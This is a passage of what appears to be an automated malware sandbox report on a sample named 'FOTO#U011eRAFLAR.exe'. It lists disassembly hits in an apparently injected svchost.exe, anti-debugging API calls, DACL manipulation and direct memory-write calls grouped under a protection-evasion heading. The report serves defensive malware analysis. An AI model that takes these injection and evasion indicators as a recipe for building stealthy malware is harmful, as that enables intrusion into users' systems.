Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0386C5ED mov eax, dword ptr fs:[00000030h]	1_2_0386C5ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0386C5ED mov eax, dword ptr fs:[00000030h]	1_2_0386C5ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038C6500 mov eax, dword ptr fs:[00000030h]	1_2_038C6500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03904500 mov eax, dword ptr fs:[00000030h]	1_2_03904500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03904500 mov eax, dword ptr fs:[00000030h]	1_2_03904500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03904500 mov eax, dword ptr fs:[00000030h]	1_2_03904500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03904500 mov eax, dword ptr fs:[00000030h]	1_2_03904500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03904500 mov eax, dword ptr fs:[00000030h]	1_2_03904500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03904500 mov eax, dword ptr fs:[00000030h]	1_2_03904500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03904500 mov eax, dword ptr fs:[00000030h]	1_2_03904500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03840535 mov eax, dword ptr fs:[00000030h]	1_2_03840535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03840535 mov eax, dword ptr fs:[00000030h]	1_2_03840535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03840535 mov eax, dword ptr fs:[00000030h]	1_2_03840535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03840535 mov eax, dword ptr fs:[00000030h]	1_2_03840535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03840535 mov eax, dword ptr fs:[00000030h]	1_2_03840535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03840535 mov eax, dword ptr fs:[00000030h]	1_2_03840535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0385E53E mov eax, dword ptr fs:[00000030h]	1_2_0385E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0385E53E mov eax, dword ptr fs:[00000030h]	1_2_0385E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0385E53E mov eax, dword ptr fs:[00000030h]	1_2_0385E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0385E53E mov eax, dword ptr fs:[00000030h]	1_2_0385E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0385E53E mov eax, dword ptr fs:[00000030h]	1_2_0385E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03838550 mov eax, dword ptr fs:[00000030h]	1_2_03838550
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03838550 mov eax, dword ptr fs:[00000030h]	1_2_03838550
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0386656A mov eax, dword ptr fs:[00000030h]	1_2_0386656A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0386656A mov eax, dword ptr fs:[00000030h]	1_2_0386656A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0386656A mov eax, dword ptr fs:[00000030h]	1_2_0386656A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038EA49A mov eax, dword ptr fs:[00000030h]	1_2_038EA49A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038364AB mov eax, dword ptr fs:[00000030h]	1_2_038364AB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038644B0 mov ecx, dword ptr fs:[00000030h]	1_2_038644B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038BA4B0 mov eax, dword ptr fs:[00000030h]	1_2_038BA4B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038304E5 mov ecx, dword ptr fs:[00000030h]	1_2_038304E5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03868402 mov eax, dword ptr fs:[00000030h]	1_2_03868402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03868402 mov eax, dword ptr fs:[00000030h]	1_2_03868402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03868402 mov eax, dword ptr fs:[00000030h]	1_2_03868402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0382E420 mov eax, dword ptr fs:[00000030h]	1_2_0382E420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0382E420 mov eax, dword ptr fs:[00000030h]	1_2_0382E420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0382E420 mov eax, dword ptr fs:[00000030h]	1_2_0382E420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0382C427 mov eax, dword ptr fs:[00000030h]	1_2_0382C427
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038B6420 mov eax, dword ptr fs:[00000030h]	1_2_038B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038B6420 mov eax, dword ptr fs:[00000030h]	1_2_038B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038B6420 mov eax, dword ptr fs:[00000030h]	1_2_038B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038B6420 mov eax, dword ptr fs:[00000030h]	1_2_038B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038B6420 mov eax, dword ptr fs:[00000030h]	1_2_038B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038B6420 mov eax, dword ptr fs:[00000030h]	1_2_038B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038B6420 mov eax, dword ptr fs:[00000030h]	1_2_038B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0386E443 mov eax, dword ptr fs:[00000030h]	1_2_0386E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0386E443 mov eax, dword ptr fs:[00000030h]	1_2_0386E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0386E443 mov eax, dword ptr fs:[00000030h]	1_2_0386E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0386E443 mov eax, dword ptr fs:[00000030h]	1_2_0386E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0386E443 mov eax, dword ptr fs:[00000030h]	1_2_0386E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0386E443 mov eax, dword ptr fs:[00000030h]	1_2_0386E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0386E443 mov eax, dword ptr fs:[00000030h]	1_2_0386E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0386E443 mov eax, dword ptr fs:[00000030h]	1_2_0386E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038EA456 mov eax, dword ptr fs:[00000030h]	1_2_038EA456
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0382645D mov eax, dword ptr fs:[00000030h]	1_2_0382645D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0385245A mov eax, dword ptr fs:[00000030h]	1_2_0385245A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038BC460 mov ecx, dword ptr fs:[00000030h]	1_2_038BC460
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0385A470 mov eax, dword ptr fs:[00000030h]	1_2_0385A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0385A470 mov eax, dword ptr fs:[00000030h]	1_2_0385A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0385A470 mov eax, dword ptr fs:[00000030h]	1_2_0385A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03840BBE mov eax, dword ptr fs:[00000030h]	1_2_03840BBE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03840BBE mov eax, dword ptr fs:[00000030h]	1_2_03840BBE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038E4BB0 mov eax, dword ptr fs:[00000030h]	1_2_038E4BB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038E4BB0 mov eax, dword ptr fs:[00000030h]	1_2_038E4BB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03850BCB mov eax, dword ptr fs:[00000030h]	1_2_03850BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03850BCB mov eax, dword ptr fs:[00000030h]	1_2_03850BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03850BCB mov eax, dword ptr fs:[00000030h]	1_2_03850BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03830BCD mov eax, dword ptr fs:[00000030h]	1_2_03830BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03830BCD mov eax, dword ptr fs:[00000030h]	1_2_03830BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03830BCD mov eax, dword ptr fs:[00000030h]	1_2_03830BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038DEBD0 mov eax, dword ptr fs:[00000030h]	1_2_038DEBD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03838BF0 mov eax, dword ptr fs:[00000030h]	1_2_03838BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03838BF0 mov eax, dword ptr fs:[00000030h]	1_2_03838BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03838BF0 mov eax, dword ptr fs:[00000030h]	1_2_03838BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0385EBFC mov eax, dword ptr fs:[00000030h]	1_2_0385EBFC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038BCBF0 mov eax, dword ptr fs:[00000030h]	1_2_038BCBF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03904B00 mov eax, dword ptr fs:[00000030h]	1_2_03904B00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038AEB1D mov eax, dword ptr fs:[00000030h]	1_2_038AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038AEB1D mov eax, dword ptr fs:[00000030h]	1_2_038AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038AEB1D mov eax, dword ptr fs:[00000030h]	1_2_038AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038AEB1D mov eax, dword ptr fs:[00000030h]	1_2_038AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038AEB1D mov eax, dword ptr fs:[00000030h]	1_2_038AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038AEB1D mov eax, dword ptr fs:[00000030h]	1_2_038AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038AEB1D mov eax, dword ptr fs:[00000030h]	1_2_038AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038AEB1D mov eax, dword ptr fs:[00000030h]	1_2_038AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038AEB1D mov eax, dword ptr fs:[00000030h]	1_2_038AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0385EB20 mov eax, dword ptr fs:[00000030h]	1_2_0385EB20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0385EB20 mov eax, dword ptr fs:[00000030h]	1_2_0385EB20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038F8B28 mov eax, dword ptr fs:[00000030h]	1_2_038F8B28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038F8B28 mov eax, dword ptr fs:[00000030h]	1_2_038F8B28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038E4B4B mov eax, dword ptr fs:[00000030h]	1_2_038E4B4B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038E4B4B mov eax, dword ptr fs:[00000030h]	1_2_038E4B4B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03902B57 mov eax, dword ptr fs:[00000030h]	1_2_03902B57
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03902B57 mov eax, dword ptr fs:[00000030h]	1_2_03902B57
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03902B57 mov eax, dword ptr fs:[00000030h]	1_2_03902B57
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03902B57 mov eax, dword ptr fs:[00000030h]	1_2_03902B57
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038C6B40 mov eax, dword ptr fs:[00000030h]	1_2_038C6B40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038C6B40 mov eax, dword ptr fs:[00000030h]	1_2_038C6B40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038FAB40 mov eax, dword ptr fs:[00000030h]	1_2_038FAB40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038D8B42 mov eax, dword ptr fs:[00000030h]	1_2_038D8B42
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03828B50 mov eax, dword ptr fs:[00000030h]	1_2_03828B50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038DEB50 mov eax, dword ptr fs:[00000030h]	1_2_038DEB50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0382CB7E mov eax, dword ptr fs:[00000030h]	1_2_0382CB7E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0383EA80 mov eax, dword ptr fs:[00000030h]	1_2_0383EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0383EA80 mov eax, dword ptr fs:[00000030h]	1_2_0383EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0383EA80 mov eax, dword ptr fs:[00000030h]	1_2_0383EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0383EA80 mov eax, dword ptr fs:[00000030h]	1_2_0383EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0383EA80 mov eax, dword ptr fs:[00000030h]	1_2_0383EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0383EA80 mov eax, dword ptr fs:[00000030h]	1_2_0383EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0383EA80 mov eax, dword ptr fs:[00000030h]	1_2_0383EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0383EA80 mov eax, dword ptr fs:[00000030h]	1_2_0383EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0383EA80 mov eax, dword ptr fs:[00000030h]	1_2_0383EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03904A80 mov eax, dword ptr fs:[00000030h]	1_2_03904A80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03868A90 mov edx, dword ptr fs:[00000030h]	1_2_03868A90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03838AA0 mov eax, dword ptr fs:[00000030h]	1_2_03838AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03838AA0 mov eax, dword ptr fs:[00000030h]	1_2_03838AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03886AA4 mov eax, dword ptr fs:[00000030h]	1_2_03886AA4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03886ACC mov eax, dword ptr fs:[00000030h]	1_2_03886ACC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03886ACC mov eax, dword ptr fs:[00000030h]	1_2_03886ACC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03886ACC mov eax, dword ptr fs:[00000030h]	1_2_03886ACC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03830AD0 mov eax, dword ptr fs:[00000030h]	1_2_03830AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03864AD0 mov eax, dword ptr fs:[00000030h]	1_2_03864AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03864AD0 mov eax, dword ptr fs:[00000030h]	1_2_03864AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0386AAEE mov eax, dword ptr fs:[00000030h]	1_2_0386AAEE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0386AAEE mov eax, dword ptr fs:[00000030h]	1_2_0386AAEE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038BCA11 mov eax, dword ptr fs:[00000030h]	1_2_038BCA11
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0386CA24 mov eax, dword ptr fs:[00000030h]	1_2_0386CA24
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0385EA2E mov eax, dword ptr fs:[00000030h]	1_2_0385EA2E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03854A35 mov eax, dword ptr fs:[00000030h]	1_2_03854A35
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03854A35 mov eax, dword ptr fs:[00000030h]	1_2_03854A35
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03836A50 mov eax, dword ptr fs:[00000030h]	1_2_03836A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03836A50 mov eax, dword ptr fs:[00000030h]	1_2_03836A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03836A50 mov eax, dword ptr fs:[00000030h]	1_2_03836A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03836A50 mov eax, dword ptr fs:[00000030h]	1_2_03836A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03836A50 mov eax, dword ptr fs:[00000030h]	1_2_03836A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03836A50 mov eax, dword ptr fs:[00000030h]	1_2_03836A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03836A50 mov eax, dword ptr fs:[00000030h]	1_2_03836A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03840A5B mov eax, dword ptr fs:[00000030h]	1_2_03840A5B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03840A5B mov eax, dword ptr fs:[00000030h]	1_2_03840A5B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0386CA6F mov eax, dword ptr fs:[00000030h]	1_2_0386CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0386CA6F mov eax, dword ptr fs:[00000030h]	1_2_0386CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0386CA6F mov eax, dword ptr fs:[00000030h]	1_2_0386CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038DEA60 mov eax, dword ptr fs:[00000030h]	1_2_038DEA60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038ACA72 mov eax, dword ptr fs:[00000030h]	1_2_038ACA72
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038ACA72 mov eax, dword ptr fs:[00000030h]	1_2_038ACA72
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038429A0 mov eax, dword ptr fs:[00000030h]	1_2_038429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038429A0 mov eax, dword ptr fs:[00000030h]	1_2_038429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038429A0 mov eax, dword ptr fs:[00000030h]	1_2_038429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038429A0 mov eax, dword ptr fs:[00000030h]	1_2_038429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038429A0 mov eax, dword ptr fs:[00000030h]	1_2_038429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038429A0 mov eax, dword ptr fs:[00000030h]	1_2_038429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038429A0 mov eax, dword ptr fs:[00000030h]	1_2_038429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038429A0 mov eax, dword ptr fs:[00000030h]	1_2_038429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038429A0 mov eax, dword ptr fs:[00000030h]	1_2_038429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038429A0 mov eax, dword ptr fs:[00000030h]	1_2_038429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038429A0 mov eax, dword ptr fs:[00000030h]	1_2_038429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038429A0 mov eax, dword ptr fs:[00000030h]	1_2_038429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038429A0 mov eax, dword ptr fs:[00000030h]	1_2_038429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038309AD mov eax, dword ptr fs:[00000030h]	1_2_038309AD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038309AD mov eax, dword ptr fs:[00000030h]	1_2_038309AD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038B89B3 mov esi, dword ptr fs:[00000030h]	1_2_038B89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038B89B3 mov eax, dword ptr fs:[00000030h]	1_2_038B89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038B89B3 mov eax, dword ptr fs:[00000030h]	1_2_038B89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038C69C0 mov eax, dword ptr fs:[00000030h]	1_2_038C69C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0383A9D0 mov eax, dword ptr fs:[00000030h]	1_2_0383A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0383A9D0 mov eax, dword ptr fs:[00000030h]	1_2_0383A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0383A9D0 mov eax, dword ptr fs:[00000030h]	1_2_0383A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0383A9D0 mov eax, dword ptr fs:[00000030h]	1_2_0383A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0383A9D0 mov eax, dword ptr fs:[00000030h]	1_2_0383A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0383A9D0 mov eax, dword ptr fs:[00000030h]	1_2_0383A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038649D0 mov eax, dword ptr fs:[00000030h]	1_2_038649D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038FA9D3 mov eax, dword ptr fs:[00000030h]	1_2_038FA9D3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038BE9E0 mov eax, dword ptr fs:[00000030h]	1_2_038BE9E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038629F9 mov eax, dword ptr fs:[00000030h]	1_2_038629F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038629F9 mov eax, dword ptr fs:[00000030h]	1_2_038629F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038AE908 mov eax, dword ptr fs:[00000030h]	1_2_038AE908
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038AE908 mov eax, dword ptr fs:[00000030h]	1_2_038AE908
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038BC912 mov eax, dword ptr fs:[00000030h]	1_2_038BC912
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03828918 mov eax, dword ptr fs:[00000030h]	1_2_03828918
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03828918 mov eax, dword ptr fs:[00000030h]	1_2_03828918
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038B892A mov eax, dword ptr fs:[00000030h]	1_2_038B892A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038C892B mov eax, dword ptr fs:[00000030h]	1_2_038C892B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038B0946 mov eax, dword ptr fs:[00000030h]	1_2_038B0946
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03904940 mov eax, dword ptr fs:[00000030h]	1_2_03904940
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03856962 mov eax, dword ptr fs:[00000030h]	1_2_03856962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03856962 mov eax, dword ptr fs:[00000030h]	1_2_03856962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03856962 mov eax, dword ptr fs:[00000030h]	1_2_03856962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0387096E mov eax, dword ptr fs:[00000030h]	1_2_0387096E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0387096E mov edx, dword ptr fs:[00000030h]	1_2_0387096E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0387096E mov eax, dword ptr fs:[00000030h]	1_2_0387096E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038D4978 mov eax, dword ptr fs:[00000030h]	1_2_038D4978
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038D4978 mov eax, dword ptr fs:[00000030h]	1_2_038D4978
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038BC97C mov eax, dword ptr fs:[00000030h]	1_2_038BC97C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03830887 mov eax, dword ptr fs:[00000030h]	1_2_03830887
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038BC89D mov eax, dword ptr fs:[00000030h]	1_2_038BC89D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0385E8C0 mov eax, dword ptr fs:[00000030h]	1_2_0385E8C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039008C0 mov eax, dword ptr fs:[00000030h]	1_2_039008C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038FA8E4 mov eax, dword ptr fs:[00000030h]	1_2_038FA8E4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0386C8F9 mov eax, dword ptr fs:[00000030h]	1_2_0386C8F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0386C8F9 mov eax, dword ptr fs:[00000030h]	1_2_0386C8F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038BC810 mov eax, dword ptr fs:[00000030h]	1_2_038BC810
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03852835 mov eax, dword ptr fs:[00000030h]	1_2_03852835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03852835 mov eax, dword ptr fs:[00000030h]	1_2_03852835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03852835 mov eax, dword ptr fs:[00000030h]	1_2_03852835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03852835 mov ecx, dword ptr fs:[00000030h]	1_2_03852835

Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe

Code function: 0_2_00D70AA6 GetSecurityDescriptorDacl,GetAclInformation,GetLengthSid,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,

0_2_00D70AA6

Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe	Code function: 0_2_00D425B2 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00D425B2
Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe	Code function: 0_2_00D307BF IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00D307BF
Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe	Code function: 0_2_00D30955 SetUnhandledExceptionFilter,	0_2_00D30955
Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe	Code function: 0_2_00D30BA1 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00D30BA1

HIPS / PFW / Operating System Protection Evasion

Source: C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe	NtWriteVirtualMemory: Direct from: 0x76F0490C	Jump to behavior
Source: C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe	NtAllocateVirtualMemory: Direct from: 0x76F03C9C	Jump to behavior
Source: C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe	NtClose: Direct from: 0x76F02B6C
